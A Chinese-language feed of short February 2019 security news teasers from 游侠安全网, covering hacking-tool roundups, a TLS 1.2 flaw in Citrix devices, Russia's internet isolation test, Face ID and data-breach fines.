Favicon for 游侠安全网 23:17 适用于Windows,Linux和OS X的优秀黑客工具 » Post from 游侠安全网 Visit off-site link
我们根据行业评论,您的反馈和自己的经验,准备了2018年最佳黑客工具的有用列表。 此列表将告诉您有关用于黑客目的的最佳软件,包括端口扫描程序,Web漏洞扫描程序,密码破解程序,取证工具,流量分析和社交工程工具。
Favicon for 游侠安全网 09:32 【安全帮】四川特大网络赌博案告破 涉案资金达6.1亿元 » Post from 游侠安全网 Visit off-site link
TLS 1.2协议现漏洞,近3000网站或受影响 Citrix发现SSL 3.0协议的后续版本TLS 1.2协议存在漏洞,该漏洞允许攻击者滥用Citrix的交付控制器(ADC)网络设备来解密TLS流量。Tripwire漏洞挖掘研究小组的计算机安全研究员克雷格•杨(Craig Yang)称:“TLS 1.2存 ...

News stories from Tuesday 12 February, 2019

Favicon for 游侠安全网 21:31 4月1日前!俄罗斯将测试脱离全球互联网,“网络战”要来了? » Post from 游侠安全网 Visit off-site link
很多人认为,未来的战争可能不是核武器对抗,而是网络战。俄罗斯未雨绸缪,已开始准备应对可能爆发的网络威胁。
Favicon for 游侠安全网 09:27 【安全帮】苹果专利提升面容ID安全性 3D打印面具无法再骗iPhone » Post from 游侠安全网 Visit off-site link
数据揭示 Windows 漏洞的实际破坏性正在降低Matt Miller在Blue Hat的演讲中披露了一些惊人的统计数据。根据微软安全响应中心收集的数据,这些数字清楚地证实了我们多年来一直在说的话:与在现实中遭遇破坏的方式相比,将Windows和Office补丁推迟长达30天 ...

News stories from Monday 11 February, 2019

Favicon for 游侠安全网 09:23 【安全帮】 微软:IE不是浏览器 请大家别用了 » Post from 游侠安全网 Visit off-site link
2018年全球数据泄露罚单数量激增,总罚款超过3.2亿美元Infowatch分析中心公布了一项全球性研究结果,该研究针对的是因泄露个人数据(PD)和支付信息而对国家和商业组织实施处罚的情况。报告称,国际上因此类违法行为而遭受罚款的案件和金额正在激增。2017 ...